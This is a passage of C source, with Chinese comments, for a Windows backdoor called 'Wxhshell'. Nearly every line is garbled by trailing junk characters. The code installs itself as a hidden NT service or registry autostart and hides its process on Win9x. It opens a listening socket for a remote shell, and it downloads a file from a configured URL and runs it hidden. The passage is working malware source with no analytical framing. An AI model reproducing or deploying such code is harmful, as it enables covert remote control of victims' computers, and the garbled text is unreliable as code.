DWORD PebBaseAddress; A-<qr6q
DWORD AffinityMask; zy.Ok 49
DWORD BasePriority; XjC+kH
ULONG UniqueProcessId; $]9d((u4
ULONG InheritedFromUniqueProcessId; I'!KWpYJT
} PROCESS_BASIC_INFORMATION; _%x|,vo`(
{5*5tCIt
PROCNTQSIP NtQueryInformationProcess; n\QG-?%Pi
CA3.fu3(p
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1\BECP+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rpd3Rp
22GtTENd1h
HANDLE hProcess; /{lls2ycW%
PROCESS_BASIC_INFORMATION pbi; ]ba<4:[Go
NXV%j},>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X'5te0v`3
if(NULL == hInst ) return 0; yF*JzE 7,
Z7(hW,60
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z^sO`C
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^E9@L??
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :Q%&:[2
I|:*Dy,~
if (!NtQueryInformationProcess) return 0; <J- aq;p
9QpKB
c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qtk'^Fc
if(!hProcess) return 0; 9i"3R0HN
>0> M@s
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -n6C~Yx
nX
CloseHandle(hProcess); d{0>R{uac
C'{Z?M>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D%Wr/6X
if(hProcess==NULL) return 0; &Z9b&P
iVFnt!
HMODULE hMod; E*kS{2NAq
char procName[255]; ]xuq2MU,l
unsigned long cbNeeded; @sVBG']p
Th-zMQ4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {MIs%w.G
N@k:kI
CloseHandle(hProcess); U-k6ZV3&8
o;"!#Z 1SJ
if(strstr(procName,"services")) return 1; // 以服务启动 *d@}'De{8
M+Dkn3bx
return 0; // 注册表启动 nkpQM$FW
} $XJe)
|/q *Fg[f
// 主模块 L)Kn8
int StartWxhshell(LPSTR lpCmdLine) PoC24#vS
{ #0weN%
SOCKET wsl; IqmavnM#
BOOL val=TRUE; {|a'
=I#2
int port=0; h.DQ6!?;s
struct sockaddr_in door; ;Eck7nRA)
t]Vw`z%G
if(wscfg.ws_autoins) Install();
62.{8Uj
7m1*Q@D
port=atoi(lpCmdLine); m'%F,c)
;R/=9l
if(port<=0) port=wscfg.ws_port; nuvz!<5\{
E;%{hAD{
WSADATA data; 0O[q6!&]
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #u#s'W
Nz2}Ma 2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F7mzBrz
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r&^4L
door.sin_family = AF_INET; ?L|@{RS{|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7^S &g.A
door.sin_port = htons(port); H>M0GL
y1P ?A]v
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~jJu*s$?
closesocket(wsl); gp;(M~we
return 1; nPKf~|\1{
} bvAO(`
M[N|HsI8?
if(listen(wsl,2) == INVALID_SOCKET) { dlyE2MiL:
closesocket(wsl); u'}DG#@ -
return 1; Ff|?<\x0}A
} iHTxD1D+H
Wxhshell(wsl); eqXW|,zUm
WSACleanup(); a
"8/y4Y
o6'`W2P
return 0; @UD6qA
xJ,V!N
} {<&x9<f9
T?Gi;ld7
// 以NT服务方式启动 U%2 pbGU
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^M8\ 3G
{ Jzh_`jW0l
DWORD status = 0; 89~) nV)
DWORD specificError = 0xfffffff; ?9/%K45
0^zu T
serviceStatus.dwServiceType = SERVICE_WIN32; VYvHpsI
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *S*;rLH9c
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %]d^B|
serviceStatus.dwWin32ExitCode = 0;
8DyE
serviceStatus.dwServiceSpecificExitCode = 0; 0YW<>Y`6
serviceStatus.dwCheckPoint = 0; .{~ygHQ`f
serviceStatus.dwWaitHint = 0; }KJ/WyYW
AuSL?kZ4|Y
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *|MPYxJ<
if (hServiceStatusHandle==0) return; H!HkXm"
tXwnK[~x
status = GetLastError(); 4_)@Nq
if (status!=NO_ERROR) jwGd*8
/
{ Ws'3*HAce
serviceStatus.dwCurrentState = SERVICE_STOPPED; i $#bg^
serviceStatus.dwCheckPoint = 0; 9CW .xX8
serviceStatus.dwWaitHint = 0; km.xy_v
serviceStatus.dwWin32ExitCode = status; v"\Q/5p
serviceStatus.dwServiceSpecificExitCode = specificError; o)srE5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); DL<r2h
return; yG{'hx6H
} >|mmJ4T
.z)E
serviceStatus.dwCurrentState = SERVICE_RUNNING; 'd'*4 )]k
serviceStatus.dwCheckPoint = 0; ga0W;Vq&X
serviceStatus.dwWaitHint = 0; kx*=1AfU+Y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vxY7/ _]
} [Nsv]Yz
HP"5*C5D
// 处理NT服务事件,比如:启动、停止 kznmA`#jn
VOID WINAPI NTServiceHandler(DWORD fdwControl) Tj@s \@hv
{ B!yAam#^
switch(fdwControl) NkA|T1w7
{ n*hHqZl
case SERVICE_CONTROL_STOP: k oZqoP
serviceStatus.dwWin32ExitCode = 0; Dtt[a
serviceStatus.dwCurrentState = SERVICE_STOPPED; Qgf\gTF$r+
serviceStatus.dwCheckPoint = 0; K%Jy?7
U
serviceStatus.dwWaitHint = 0; L-",.U*;
{ D'c,z[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); szGp<xv_p
} e\tcP
return; mi6<;N2w|
case SERVICE_CONTROL_PAUSE: z'XFwk
serviceStatus.dwCurrentState = SERVICE_PAUSED; t@.M;b8
break; NDm3kMa
case SERVICE_CONTROL_CONTINUE: j)]mN$Sa:
serviceStatus.dwCurrentState = SERVICE_RUNNING; r^q@rL>
break; ]FL=E3U
case SERVICE_CONTROL_INTERROGATE: 3I@j=:(%Y
break; K9:I8E<
}; hZU@35~BN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =T|Z[/fto
} Tz:mj
rq:R6e
// 标准应用程序主函数 /2tgxm$}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;gP@d`s
{ XN'x`%!*3#
9YwK1[G6/
// 获取操作系统版本 -[^aWNqyJ
OsIsNt=GetOsVer(); wRCGfILw
GetModuleFileName(NULL,ExeFile,MAX_PATH); OxZw;yD
&Vd,{JU
// 从命令行安装 2*ZB[5_V
if(strpbrk(lpCmdLine,"iI")) Install(); \J.PrE'(}
7&DhEI ^
// 下载执行文件 &>XIK8*
if(wscfg.ws_downexe) { eZ8~t/8
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^~E?7{BL
WinExec(wscfg.ws_filenam,SW_HIDE); !/[/w39D0o
} Mnn\y Tblp
g!,>.
if(!OsIsNt) { A|Up>`QH
// 如果时win9x,隐藏进程并且设置为注册表启动 KD11<&4_x
HideProc(); `
zeZ7:
StartWxhshell(lpCmdLine); }YfM<
} TGl It<&
else rd vq(\A
if(StartFromService()) lb{<}1YR0o
// 以服务方式启动 M[g9D
StartServiceCtrlDispatcher(DispatchTable); cNZuwS~,
else y 4j0nF
// 普通方式启动 mQ*:?\@
StartWxhshell(lpCmdLine); }`FC'!(
w)2X0ev"
return 0; Yg3Vj=
}